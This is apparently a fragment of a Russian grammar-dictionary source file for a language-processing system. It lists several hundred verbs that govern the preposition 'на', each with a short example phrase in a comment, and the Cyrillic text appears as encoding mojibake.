rus_verbs:ะพัะฟััะบะฐัั{}, // ะพัะฟััะบะฐัั ะฝะฐ ะฒะพะปั
rus_verbs:ะฟัะพะณะฝะฐัั{}, // ะฟัะพะณะฝะฐัั ะฝะฐ ัะฐะฑะพัะตะต ะผะตััะพ
rus_verbs:ะปะพะถะธัั{}, // ะปะพะถะธัั ะฝะฐ ััะพะป
rus_verbs:ัะฒะฐัั{}, // ัะฒะฐัั ะฝะฐ ัะฐััะธ
rus_verbs:ัะฐะทะปะตัะตัััั{}, // ัะฐะทะปะตัะตัััั ะฝะฐ ะบััะพัะบะธ
rus_verbs:ะฟัะตะฒััะฐัั{}, // ะฟัะตะฒััะฐัั ะฝะฐ ัััะตััะฒะตะฝะฝัั ะฒะตะปะธัะธะฝั
rus_verbs:ัะฑะธัััั{}, // ัะฑะธัััั ะฝะฐ ัััั
rus_verbs:ะฟัะธัััะพะธัััั{}, // ะฟัะธัััะพะธัััั ะฝะฐ ั
ะพัะพััั ัะฐะฑะพัั
rus_verbs:ัะดัะฐัั{}, // ัะดัะฐัั ะฝะฐ ะฟะฐััะฑะธัะต
rus_verbs:ัะพะปะบะฐัั{}, // ัะพะปะบะฐัั ะฝะฐ ะฟัะตัััะฟะปะตะฝะธะต
rus_verbs:ะฟะพัะผะฐััะธะฒะฐัั{}, // ะฟะพัะผะฐััะธะฒะฐัั ะฝะฐ ัะบัะฐะฝ
rus_verbs:ะฝะฐะฑะธัะฐัั{}, // ะฝะฐะฑะธัะฐัั ะฝะฐ ััะดะฝะพ
rus_verbs:ะพััััะฟะฐัั{}, // ะพััััะฟะฐัั ะฝะฐ ะดะตัะตะฒะพ
rus_verbs:ะฟะพะดััั{}, // ะฟะพะดััั ะฝะฐ ะผะพะปะพะบะพ
rus_verbs:ะฟะปะตัะฝััั{}, // ะฟะปะตัะฝััั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ัะพัะบะพะปัะทะฝััั{}, // ัะพัะบะพะปัะทะฝััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะทะฐัะฐะธัั{}, // ะทะฐัะฐะธัั ะฝะฐ ะบะพะณะพ-ัะพ ะพะฑะธะดั
rus_verbs:ะพะฑะธะถะฐัััั{}, // ะพะฑะธะถะฐัััั ะฝะฐ ะะพะปั
rus_verbs:ัะผะฐั
ะฝััั{}, // ัะผะฐั
ะฝััั ะฝะฐ ะฟะพะป
rus_verbs:ะทะฐััะตะณะฝััั{}, // ะทะฐััะตะณะฝััั ะฝะฐ ะฒัะต ะฟัะณะพะฒะธัั
rus_verbs:ัะฟััะบะฐัั{}, // ัะฟััะบะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะณัะตะผะตัั{}, // ะณัะตะผะตัั ะฝะฐ ะฒัั ะพะบััะณั
rus_verbs:ัะบะพัะธัั{}, // ัะบะพัะธัั ะฝะฐ ัะพัะตะดะฐ ะณะปะฐะท
rus_verbs:ะพัะฒะฐะถะธัััั{}, // ะพัะฒะฐะถะธัััั ะฝะฐ ะฟััะถะพะบ
rus_verbs:ะปะธัััั{}, // ะปะธัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟะพัะฒะฐัั{}, // ะฟะพัะฒะฐัั ะฝะฐ ัััะฟะบะธ
rus_verbs:ะฟัะพัะปะตะดะพะฒะฐัั{}, // ะฟัะพัะปะตะดะพะฒะฐัั ะฝะฐ ััะตะฝั
rus_verbs:ะฝะฐะดะตะฒะฐัั{}, // ะฝะฐะดะตะฒะฐัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ะฟัะพัะบะพัะธัั{}, // ะฟัะพัะบะพัะธัั ะฝะฐ ะบัะฐัะฝัะน ัะฒะตั
rus_verbs:ะฟัะธะปะตัั{}, // ะฟัะธะปะตัั ะฝะฐ ะดะธะฒะฐะฝัะธะบ
rus_verbs:ัะฐะทะดะตะปะธัััั{}, // ัะฐะทะดะตะปะธัััั ะฝะฐ ะฝะตะฑะพะปััะธะต ะณััะฟะฟั
rus_verbs:ะทะฐะฒััั{}, // ะทะฐะฒััั ะฝะฐ ะปัะฝั
rus_verbs:ะฟะตัะตะฝะพัะธัั{}, // ะฟะตัะตะฝะพัะธัั ะฝะฐ ะดััะณัั ะผะฐัะธะฝั
rus_verbs:ะฝะฐะณะพะฒะพัะธัั{}, // ะฝะฐะณะพะฒะพัะธัั ะฝะฐ ัะพัะฝั ััะฑะปะตะน
rus_verbs:ะฝะฐะผะตะบะฐัั{}, // ะฝะฐะผะตะบะฐัั ะฝะฐ ะฝะพะฒัะต ะพะฑััะพััะตะปัััะฒะฐ
rus_verbs:ะฝะฐะฟะฐะดะฐัั{}, // ะฝะฐะฟะฐะดะฐัั ะฝะฐ ะพั
ัะฐะฝะฝะธะบะพะฒ
rus_verbs:ัะฑะตะณะฐัั{}, // ัะฑะตะณะฐัั ะฝะฐ ะดััะณะพะต ะผะตััะพ
rus_verbs:ััะฐัะธัั{}, // ััะฐัะธัั ะฝะฐ ัะฐะทะฒะปะตัะตะฝะธั
rus_verbs:ะฟัะธัะฐะถะธะฒะฐัััั{}, // ะฟัะธัะฐะถะธะฒะฐัััั ะฝะฐ ะบะพััะพัะบะธ
rus_verbs:ะฟะตัะตะผะตััะธัััั{}, // ะฟะตัะตะผะตััะธัััั ะฝะฐ ะฒัะพััั ะปะธะฝะธั
rus_verbs:ะทะฐะฒะฐะปะธัััั{}, // ะทะฐะฒะฐะปะธัััั ะฝะฐ ะดะธะฒะฐะฝ
rus_verbs:ัะดะฐะปะธัััั{}, // ัะดะฐะปะธัััั ะฝะฐ ะฟะพะบะพะน
rus_verbs:ัะผะตะฝััะฐัััั{}, // ัะผะตะฝััะฐัััั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะฟัะพัะตะฝัะพะฒ
rus_verbs:ะพะฑัััะธัั{}, // ะพะฑัััะธัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ัะตะทะฐัั{}, // ัะตะทะฐัั ะฝะฐ ัะฐััะธ
rus_verbs:ัะผัะฐัััั{}, // ัะผัะฐัััั ะฝะฐ ัะณ
rus_verbs:ะฝะฐะฒะตัะฝััััั{}, // ะฝะฐะฒะตัะฝััััั ะฝะฐ ะบะฐะผะตะฝั
rus_verbs:ะฟัะธะผัะฐัััั{}, // ะฟัะธะผัะฐัััั ะฝะฐ ะผะฐัั
rus_verbs:ะธะทะดะฐะฒะฐัั{}, // ะธะทะดะฐะฒะฐัั ะฝะฐ ัะพะฑััะฒะตะฝะฝัะต ััะตะดััะฒะฐ
rus_verbs:ะฟะตัะตะบะปััะธัั{}, // ะฟะตัะตะบะปััะธัั ะฝะฐ ะดััะณะพะน ัะทัะบ
rus_verbs:ะพัะฟัะฐะฒะปััั{}, // ะพัะฟัะฐะฒะปััั ะฝะฐ ะฟะตะฝัะธั
rus_verbs:ะทะฐะปะตัั{}, // ะทะฐะปะตัั ะฝะฐ ะดะฝะพ
rus_verbs:ัััะฐะฝะพะฒะธัััั{}, // ัััะฐะฝะพะฒะธัััั ะฝะฐ ะดะธัะบ
rus_verbs:ะฝะฐะฟัะฐะฒะปััั{}, // ะฝะฐะฟัะฐะฒะปััั ะฝะฐ ะดะพะฟะพะปะฝะธัะตะปัะฝะพะต ะพะฑัะปะตะดะพะฒะฐะฝะธะต
rus_verbs:ัะฐะทัะตะทะฐัั{}, // ัะฐะทัะตะทะฐัั ะฝะฐ ัะฐััะธ
rus_verbs:ะพัะบะฐะปะธัััั{}, // ะพัะบะฐะปะธัััั ะฝะฐ ะฟัะพั
ะพะถะตะณะพ
rus_verbs:ัััะฐัั{}, // ัััะฐัั ะฝะฐ ะฟััะฝัั
rus_verbs:ะฟะพะณััะถะฐัััั{}, // ะฟะพะณััะถะฐัััั ะฝะฐ ะดะฝะพ
rus_verbs:ะพะฟะธัะฐัััั{}, // ะพะฟะธัะฐัััั ะฝะฐ ะบะพัััะปะธ
rus_verbs:ะฟะพัะพัะพะฟะธัััั{}, // ะฟะพัะพัะพะฟะธัััั ะฝะฐ ััะตะฑั
rus_verbs:ัะดะฒะธะฝััััั{}, // ัะดะฒะธะฝััััั ะฝะฐ ัะฐะฝัะธะผะตัั
rus_verbs:ัะฒะตะปะธัะธัั{}, // ัะฒะตะปะธัะธัั ะฝะฐ ะฟัะพัะตะฝั
rus_verbs:ะพะฟััะบะฐัั{}, // ะพะฟััะบะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะพะทะฒะฐัั{}, // ัะพะทะฒะฐัั ะฝะฐ ะผะธัะธะฝะณ
rus_verbs:ะดะตะปะธัั{}, // ะดะตะปะธัั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟัะพะฑะธัััั{}, // ะฟัะพะฑะธัััั ะฝะฐ ะทะฐะบะปััะธัะตะปัะฝัั ัะฐััั
rus_verbs:ะฟัะพััะธัะฐัััั{}, // ะฟัะพััะธัะฐัััั ะฝะฐ ะผะฝะพะณะพ ะผะธะปั
rus_verbs:ะทะฐะฑะธัั{}, // ะทะฐะฑะธัั ะฝะฐ ััะตะฑั
rus_verbs:ะฟะตัะตะปะพะถะธัั{}, // ะฟะตัะตะปะพะถะธัั ะฝะฐ ััะถะธะต ะฟะปะตัะธ
rus_verbs:ะณัะพั
ะฝััััั{}, // ะณัะพั
ะฝััััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟัะพัะฒะฐัััั{}, // ะฟัะพัะฒะฐัััั ะฝะฐ ััะตะฝั
rus_verbs:ัะฐะทะปะธัั{}, // ัะฐะทะปะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะบะปะฐะดัะฒะฐัััั{}, // ัะบะปะฐะดัะฒะฐัััั ะฝะฐ ะฝะพัะตะฒะบั
rus_verbs:ัะฒะพะปะธัั{}, // ัะฒะพะปะธัั ะฝะฐ ะฟะตะฝัะธั
rus_verbs:ะฝะฐะฝะพัะธัั{}, // ะฝะฐะฝะพัะธัั ะฝะฐ ะบะพะถั
rus_verbs:ะฝะฐะฑะตะถะฐัั{}, // ะฝะฐะฑะตะถะฐัั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ะทะฐัะฒะธัััั{}, // ะทะฐัะฒะธัััั ะฝะฐ ัััะตะปัะฑะธัะต
rus_verbs:ะฝะฐะปะธัััั{}, // ะฝะฐะปะธัััั ะฝะฐ ะบัััะบั
rus_verbs:ะฝะฐะดะฒะธะณะฐัััั{}, // ะฝะฐะดะฒะธะณะฐัััั ะฝะฐ ะฑะตัะตะณ
rus_verbs:ัะฐัะฟัััะธัั{}, // ัะฐัะฟัััะธัั ะฝะฐ ะบะฐะฝะธะบัะปั
rus_verbs:ะฟะตัะตะบะปััะธัััั{}, // ะฟะตัะตะบะปััะธัััั ะฝะฐ ะดััะณัั ะทะฐะดะฐัั
rus_verbs:ัะธั
ะฝััั{}, // ัะธั
ะฝััั ะฝะฐ ะพะบััะถะฐััะธั
rus_verbs:ัะปะตะฟะฝััััั{}, // ัะปะตะฟะฝััััั ะฝะฐ ัะฟะธะฝั
rus_verbs:ัััะฐะฝะฐะฒะปะธะฒะฐัั{}, // ัััะฐะฝะฐะฒะปะธะฒะฐัั ะฝะฐ ะบัััั
rus_verbs:ัััะฐะฝะฐะฒะปะธะฒะฐัััั{}, // ัััะฐะฝะฐะฒะปะธะฒะฐัััั ะฝะฐ ะบัััั
rus_verbs:ััััะฐะธะฒะฐัััั{}, // ััััะฐะธะฒะฐัััั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะฟัะพะฟััะบะฐัั{}, // ะฟัะพะฟััะบะฐัั ะฝะฐ ััะฐะดะธะพะฝ
ะธะฝัะธะฝะธัะธะฒ:ัะฑะตะณะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฑะตะณะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฑะตะณะฐัั ะฝะฐ ัะธะปัะผ
ะธะฝัะธะฝะธัะธะฒ:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฑะตะณะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัะฑะตะณะฐะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ัะฑะตะณะฐั{},
rus_verbs:ะฟะพะบะฐะทัะฒะฐัััั{}, // ะฟะพะบะฐะทัะฒะฐัััั ะฝะฐ ะณะปะฐะทะฐ
rus_verbs:ะฟัะธะฑะตะณะฐัั{}, // ะฟัะธะฑะตะณะฐัั ะฝะฐ ััะพะบ
rus_verbs:ััะตะทะดะธัั{}, // ััะตะทะดะธัั ะฝะฐ ัะตัะผั
rus_verbs:ะฟัะพัะปะฐะฒะธัััั{}, // ะฟัะพัะปะฐะฒะธัััั ะฝะฐ ะฒัั ัััะฐะฝั
rus_verbs:ะพะฟัะพะบะธะฝััััั{}, // ะพะฟัะพะบะธะฝััััั ะฝะฐ ัะฟะธะฝั
rus_verbs:ะฝะฐััะฟะฐัั{}, // ะฝะฐััะฟะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฟะพััะตะฑะปััั{}, // ัะฟะพััะตะฑะปััั ะฝะฐ ะบะพัะผ ัะบะพัั
rus_verbs:ะฟัะธัััะพะธัั{}, // ะฟัะธัััะพะธัั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะทะฐะฒะพััะฐัั{}, // ะทะฐะฒะพััะฐัั ะฝะฐ ะฒะพัะตะดัะตะณะพ
rus_verbs:ะทะฐะฒัะทะฐัััั{}, // ะทะฐะฒัะทะฐัััั ะฝะฐ ะฟะพััะฐะฒัะธะบะพะฒ
rus_verbs:ัะฐะถะฐัั{}, // ัะฐะถะฐัั ะฝะฐ ัััะป
rus_verbs:ะฝะฐะฟัะฐัะธะฒะฐัััั{}, // ะฝะฐะฟัะฐัะธะฒะฐัััั ะฝะฐ ะถะตััะบะธะต ะพัะฒะตัะฝัะต ะผะตัั
rus_verbs:ะทะฐะผะตะฝััั{}, // ะทะฐะผะตะฝััั ะฝะฐ ะธัะฟัะฐะฒะฝัั
rus_verbs:ะฝะฐัะตะฟะธัั{}, // ะฝะฐัะตะฟะธัั ะฝะฐ ะณะพะปะพะฒั
rus_verbs:ััะฟะฐัั{}, // ััะฟะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะทะฐะบััะฒะฐัััั{}, // ะทะฐะบััะฒะฐัััั ะฝะฐ ัะตะผะพะฝั
rus_verbs:ัะฐัะฟัะพัััะฐะฝะธัััั{}, // ัะฐัะฟัะพัััะฐะฝะธัััั ะฝะฐ ะฒัั ะฟะพะฟัะปััะธั
rus_verbs:ะฟะพะผะตะฝััั{}, // ะฟะพะผะตะฝััั ะฝะฐ ะฒะตะปะพัะธะฟะตะด
rus_verbs:ะฟะตัะตัะตััั{}, // ะฟะตัะตัะตััั ะฝะฐ ะฒะตะปะพัะธะฟะตะดั
rus_verbs:ะฟะพะดะพัะฟะตัั{}, // ะฟะพะดะพัะฟะตัั ะฝะฐ ัะฐะทะฑะพั
rus_verbs:ัะธะฟะตัั{}, // ัะธะฟะตัั ะฝะฐ ัะพะฑะฐะบ
rus_verbs:ะฟะพะดะตะปะธัั{}, // ะฟะพะดะตะปะธัั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟะพะดะปะตัะตัั{}, // ะฟะพะดะปะตัะตัั ะฝะฐ ัะฐัััะพัะฝะธะต ะฒััััะตะปะฐ
rus_verbs:ะฝะฐะถะธะผะฐัั{}, // ะฝะฐะถะธะผะฐัั ะฝะฐ ะฒัะต ะบะฝะพะฟะบะธ
rus_verbs:ัะฐัะฟะฐััััั{}, // ัะฐัะฟะฐััััั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟัะธะฒะพะปะพัั{}, // ะฟัะธะฒะพะปะพัั ะฝะฐ ะดะธะฒะฐะฝ
rus_verbs:ะฟะพะถะธัั{}, // ะฟะพะถะธัั ะฝะฐ ะพะดะธะฝ ะดะพะปะปะฐั
rus_verbs:ััััะตะผะปััััั{}, // ััััะตะผะปััััั ะฝะฐ ัะฒะพะฑะพะดั
rus_verbs:ัะผะฐั
ะธะฒะฐัั{}, // ัะผะฐั
ะธะฒะฐัั ะฝะฐ ะฟะพะป
rus_verbs:ะทะฐะฑะตะถะฐัั{}, // ะทะฐะฑะตะถะฐัั ะฝะฐ ะพะฑะตะด
rus_verbs:ัะฒะตะปะธัะธัััั{}, // ัะฒะตะปะธัะธัััั ะฝะฐ ัััะตััะฒะตะฝะฝัั ะฒะตะปะธัะธะฝั
rus_verbs:ะฟัะพะบัะฐััััั{}, // ะฟัะพะบัะฐััััั ะฝะฐ ัะบะปะฐะด
rus_verbs:ะฟััะฐัั{}, // ะฟััะฐัั ะฝะฐ ะฟะพััะพะน
rus_verbs:ะพัะบะปะพะฝะธัั{}, // ะพัะบะปะพะฝะธัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะณัะฐะดััะพะฒ
rus_verbs:ะฝะฐัะผะพััะตัััั{}, // ะฝะฐัะผะพััะตัััั ะฝะฐ ะฑะตะทะพะฑัะฐะทะธั
rus_verbs:ะฝะฐัััะพะธัั{}, // ะฝะฐัััะพะธัั ะฝะฐ ะบะพัะพัะบะธะต ะฒะพะปะฝั
rus_verbs:ัะผะตะฝััะธัััั{}, // ัะผะตะฝััะธัััั ะฝะฐ ะฟะฐัั ัะฐะฝัะธะผะตััะพะฒ
rus_verbs:ะฟะพะผะตะฝััััั{}, // ะฟะพะผะตะฝััััั ะฝะฐ ะดััะณัั ะบะฝะธะถะบั
rus_verbs:ัะฐัะบะพะปะพัััั{}, // ัะฐัะบะพะปะพัััั ะฝะฐ ัะฐััะธ
rus_verbs:ัะฐะทะปะธัััั{}, // ัะฐะทะปะธัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ัััะฒะฐัััั{}, // ัััะฒะฐัััั ะฝะฐ ะถะตะฝั
rus_verbs:ะพััะดะธัั{}, // ะพััะดะธัั ะฝะฐ ะฟะพะถะธะทะฝะตะฝะฝะพะต ะทะฐะบะปััะตะฝะธะต
rus_verbs:ะฟะตัะตะดะฒะธะฝััั{}, // ะฟะตัะตะดะฒะธะฝััั ะฝะฐ ะฟะตัะฒะพะต ะผะตััะพ
rus_verbs:ะดะพะฟััะบะฐัััั{}, // ะดะพะฟััะบะฐัััั ะฝะฐ ะฟะพะปะธะณะพะฝ
rus_verbs:ะทะฐะดะฒะธะฝััั{}, // ะทะฐะดะฒะธะฝััั ะฝะฐ ะฟะพะปะบั
rus_verbs:ะฟะพะฒะปะธััั{}, // ะฟะพะฒะปะธััั ะฝะฐ ะพัะตะฝะบั
rus_verbs:ะพัะฑะฐะฒะปััั{}, // ะพัะฑะฐะฒะปััั ะฝะฐ ะพัะผะพัั
rus_verbs:ัะฑัะฐััะฒะฐัั{}, // ัะฑัะฐััะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฝะฐะบะธะฝััััั{}, // ะฝะฐะบะธะฝััััั ะฝะฐ ัะปััะฐะนะฝัั
ะฟัะพั
ะพะถะธั
rus_verbs:ะฟัะพะปะธัั{}, // ะฟัะพะปะธัั ะฝะฐ ะบะพะถั ััะบะธ
rus_verbs:ะทะฐัะฐัะธัั{}, // ะทะฐัะฐัะธัั ะฝะฐ ัะตะฝะพะฒะฐะป
rus_verbs:ะฟะตัะตะฑะตะถะฐัั{}, // ะฟะตัะตะฑะตะถะฐัั ะฝะฐ ััะพัะพะฝั ะฟัะพัะธะฒะฝะธะบะฐ
rus_verbs:ะฝะฐะปะธะฒะฐัั{}, // ะฝะฐะปะธะฒะฐัั ะฝะฐ ัะบะฐัะตััั
rus_verbs:ะฟัะพะปะตะทัั{}, // ะฟัะพะปะตะทัั ะฝะฐ ััะตะฝั
rus_verbs:ะพัะบะปะฐะดัะฒะฐัั{}, // ะพัะบะปะฐะดัะฒะฐัั ะฝะฐ ัะตัะฝัะน ะดะตะฝั
rus_verbs:ัะฐัะฟะฐะดะฐัััั{}, // ัะฐัะฟะฐะดะฐัััั ะฝะฐ ะฝะตะฑะพะปััะธะต ััะฐะณะผะตะฝัั
rus_verbs:ะฟะตัะตัะธัะปะธัั{}, // ะฟะตัะตัะธัะปะธัั ะฝะฐ ััะตั
rus_verbs:ะทะฐะบะฐัะฐัััั{}, // ะทะฐะบะฐัะฐัััั ะฝะฐ ะฒะตัั
ะฝะธะน ััะพะฒะตะฝั
rus_verbs:ะฝะฐะบัะตะฝะธัััั{}, // ะฝะฐะบัะตะฝะธัััั ะฝะฐ ะฟัะฐะฒัะน ะฑะพัั
rus_verbs:ะฟะพะดะฒะธะฝััััั{}, // ะฟะพะดะฒะธะฝััััั ะฝะฐ ะพะดะธะฝ ััะพะฒะตะฝั
rus_verbs:ัะฐะทะฝะตััะธ{}, // ัะฐะทะฝะตััะธ ะฝะฐ ะผะตะปะบะธะต ะบััะพัะบะธ
rus_verbs:ะทะฐะถะธัั{}, // ะทะฐะถะธัั ะฝะฐ ัะธัะพะบัั ะฝะพะณั
rus_verbs:ะพะณะปะพั
ะฝััั{}, // ะพะณะปะพั
ะฝััั ะฝะฐ ะฟัะฐะฒะพะต ัั
ะพ
rus_verbs:ะฟะพัะตัะพะฒะฐัั{}, // ะฟะพัะตัะพะฒะฐัั ะฝะฐ ะฑััะพะบัะฐัะธะทะผ
rus_verbs:ัะฒะพะดะธัั{}, // ัะฒะพะดะธัั ะฝะฐ ะพัะผะพัั
rus_verbs:ััะบะฐะบะฐัั{}, // ััะบะฐะบะฐัั ะฝะฐ ะทะฐะฑะตะณ
rus_verbs:ะฟะพัะฒะตัะธัั{}, // ะฟะพัะฒะตัะธัั ะฝะฐ ััะตะฝั
rus_verbs:ัะฐะทััะฒะฐัััั{}, // ัะฐะทััะฒะฐัััั ะฝะฐ ัะฐััะธ
rus_verbs:ะฟะพะฑัะพัะฐัั{}, // ะฟะพะฑัะพัะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะบะฐัะฐะฑะบะฐัััั{}, // ะบะฐัะฐะฑะบะฐัััั ะฝะฐ ัะบะฐะปั
rus_verbs:ะฝะฐั
ะปัะฝััั{}, // ะฝะฐั
ะปัะฝััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ัะฐะทะปะตัะฐัััั{}, // ัะฐะทะปะตัะฐัััั ะฝะฐ ะผะตะปะบะธะต ะพัะบะพะปะพัะบะธ
rus_verbs:ััะตะฐะณะธัะพะฒะฐัั{}, // ััะตะฐะณะธัะพะฒะฐัั ะฝะฐ ัะธะณะฝะฐะป
rus_verbs:ะฟัะตัะตะฝะดะพะฒะฐัั{}, // ะฟัะตัะตะฝะดะพะฒะฐัั ะฝะฐ ะฟัะธะท
rus_verbs:ะดัะฝััั{}, // ะดัะฝััั ะฝะฐ ะพะดัะฒะฐะฝัะธะบ
rus_verbs:ะฟะตัะตะฒะพะดะธัััั{}, // ะฟะตัะตะฒะพะดะธัััั ะฝะฐ ะดััะณัั ัะฐะฑะพัั
rus_verbs:ะฟะตัะตะฒะตะทัะธ{}, // ะฟะตัะตะฒะตะทัะธ ะฝะฐ ะดััะณัั ะฟะปะพัะฐะดะบั
rus_verbs:ัะพะฟะฐัั{}, // ัะพะฟะฐัั ะฝะฐ ััะพะบ
rus_verbs:ะพัะฝะพัะธัั{}, // ะพัะฝะพัะธัั ะฝะฐ ัะบะปะฐะด
rus_verbs:ัะฑะธะฒะฐัั{}, // ัะฑะธะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะบะปะฐะดัะฒะฐัั{}, // ัะบะปะฐะดัะฒะฐัั ะฝะฐ ัะฟะธะฝั
rus_verbs:ัะบะฐัะธัั{}, // ัะบะฐัะธัั ะฝะฐ ะพัะดัั
rus_verbs:ัะฑะธัะฐัั{}, // ัะฑะธัะฐัั ะฝะฐ ะฟะพะปะบั
rus_verbs:ะพะฟะฐััั{}, // ะพะฟะฐััั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะพะฝััั{}, // ัะพะฝััั ะฝะฐ ัะฝะตะณ
rus_verbs:ะฟัะปะธัััั{}, // ะฟัะปะธัััั ะฝะฐ ัะตะปะพ
rus_verbs:ะณะปะฐะทะตัั{}, // ะณะปะฐะทะตัั ะฝะฐ ัะตะปะพ
rus_verbs:ัะฝะธะถะฐัััั{}, // ัะฝะธะถะฐัััั ะฝะฐ ะฑะตะทะพะฟะฐัะฝัั ะฒััะพัั
rus_verbs:ะทะฐะฟััะณะฝััั{}, // ะทะฐะฟััะณะฝััั ะฝะฐ ะฟะปะฐััะพัะผั
rus_verbs:ัะฐะทะฑะธะฒะฐัััั{}, // ัะฐะทะฑะธะฒะฐัััั ะฝะฐ ะณะปะฐะฒั
rus_verbs:ัะณะพะดะธัััั{}, // ัะณะพะดะธัััั ะฝะฐ ัะฐัั
rus_verbs:ะฟะตัะตัะบะพัะธัั{}, // ะฟะตัะตัะบะพัะธัั ะฝะฐ ะดััะณัั ัััะฐะฝะธัั
rus_verbs:ะฝะฐัะตะปะธัััั{}, // ะฝะฐัะตะปะธัััั ะฝะฐ ะณะปะฐะฒะฝัั ะดะพะฑััั
rus_verbs:ะทะฐะตะทะถะฐัั{}, // ะทะฐะตะทะถะฐัั ะฝะฐ ะฑะพัะดัั
rus_verbs:ะทะฐะฑะธัะฐัััั{}, // ะทะฐะฑะธัะฐัััั ะฝะฐ ะบัััั
rus_verbs:ะฟัะพะพัะฐัั{}, // ะฟัะพะพัะฐัั ะฝะฐ ะฒัั ัะตะปะพ
rus_verbs:ัะฑะตะถะฐัััั{}, // ัะฑะตะถะฐัััั ะฝะฐ ััะผ
rus_verbs:ัะผะตะฝััั{}, // ัะผะตะฝััั ะฝะฐ ั
ะปะตะฑ
rus_verbs:ะผะพัะฐัั{}, // ะผะพัะฐัั ะฝะฐ ัั
rus_verbs:ัะฐัะบะฐะปัะฒะฐัััั{}, // ัะฐัะบะฐะปัะฒะฐัััั ะฝะฐ ะดะฒะต ะฟะพะปะพะฒะธะฝะบะธ
rus_verbs:ะบะพัะธัััั{}, // ะบะพัะธัััั ะฝะฐ ัะตะถะธััััะฐ
rus_verbs:ะฟะปะตะฒะฐัั{}, // ะฟะปะตะฒะฐัั ะฝะฐ ะทะฐะบะพะฝั
rus_verbs:ัััะปะฐัััั{}, // ัััะปะฐัััั ะฝะฐ ะฐะฒัะพัะธัะตัะฝะพะต ะผะฝะตะฝะธะต
rus_verbs:ะฝะฐััะฐะฒะธัั{}, // ะฝะฐััะฐะฒะธัั ะฝะฐ ะฟััั ะธััะธะฝะฝัะน
rus_verbs:ะทะฐะฒัะฒะฐัั{}, // ะทะฐะฒัะฒะฐัั ะฝะฐ ะัะฝั
rus_verbs:ะพะฟะฐะทะดัะฒะฐัั{}, // ะพะฟะฐะทะดัะฒะฐัั ะฝะฐ ัะพะฒะตัะฐะฝะธะต
rus_verbs:ะทะฐะปัะฑะพะฒะฐัััั{}, // ะทะฐะปัะฑะพะฒะฐัััั ะฝะฐ ะฟะตะนะทะฐะถ
rus_verbs:ะฟะพะฒะตัะณะฝััั{}, // ะฟะพะฒะตัะณะฝััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฝะฐะดะฒะธะฝััั{}, // ะฝะฐะดะฒะธะฝััั ะฝะฐ ะปะพะฑ
rus_verbs:ััะตะบะฐัััั{}, // ััะตะบะฐัััั ะฝะฐ ะฟะปะพัะฐะดั
rus_verbs:ะพะฑะพะทะปะธัััั{}, // ะพะฑะพะทะปะธัััั ะฝะฐ ััะตะฝะตัะฐ
rus_verbs:ะพัััะฝััั{}, // ะพัััะฝััั ะฝะฐ ัะตะฑั
rus_verbs:ะธัััะฐัะธัั{}, // ะธัััะฐัะธัั ะฝะฐ ะดะตัะตะฒัั
ัะปัั
rus_verbs:ะฒััะฒััะฝััั{}, // ะฒััะฒััะฝััั ะฝะฐ ัะปะธัั
rus_verbs:ะทะฐัะพะปะบะฐัั{}, // ะทะฐัะพะปะบะฐัั ะฝะฐ ะฒะตัั
ะฝัั ะฟะพะปะบั
rus_verbs:ะทะฐัะบะพัะธัั{}, // ะทะฐัะบะพัะธัั ะฝะฐ ะพะณะพะฝะตะบ
rus_verbs:ะฟัะพัะธัััั{}, // ะฟัะพัะธัััั ะฝะฐ ัะปะธัั
rus_verbs:ะฝะฐััะบะฐัััั{}, // ะฝะฐััะบะฐัััั ะฝะฐ ะฑะพััะตะฒะธะบ
rus_verbs:ะพะฑัััะธะฒะฐัััั{}, // ะพะฑัััะธะฒะฐัััั ะฝะฐ ะผะธัะธะฝะณัััะธั
rus_verbs:ะฟะตัะตะฟะธัะฐัั{}, // ะฟะตัะตะฟะธัะฐัั ะฝะฐ ัะธััะพะฒะธะบ
rus_verbs:ะฟะตัะตะฝะพัะธัััั{}, // ะฟะตัะตะฝะพัะธัััั ะฝะฐ ะดััะณะพะต ััััะพะนััะฒะพ
rus_verbs:ะฝะฐะฟัะพัะธัััั{}, // ะฝะฐะฟัะพัะธัััั ะฝะฐ ะพะฑะธะดะฝัะน ะพัะฒะตั
rus_verbs:ะฝะฐััะณะธะฒะฐัั{}, // ะฝะฐััะณะธะฒะฐัั ะฝะฐ ะฝะพะณะธ
rus_verbs:ะบะธะดะฐัััั{}, // ะบะธะดะฐัััั ะฝะฐ ะฟัะพั
ะพะถะธั
rus_verbs:ะพัะบะปะธะบะฐัััั{}, // ะพัะบะปะธะบะฐัััั ะฝะฐ ะฟัะธะทัะฒ
rus_verbs:ะฟะพัะฟะตะฒะฐัั{}, // ะฟะพัะฟะตะฒะฐัั ะฝะฐ ะฑะฐะปะตั
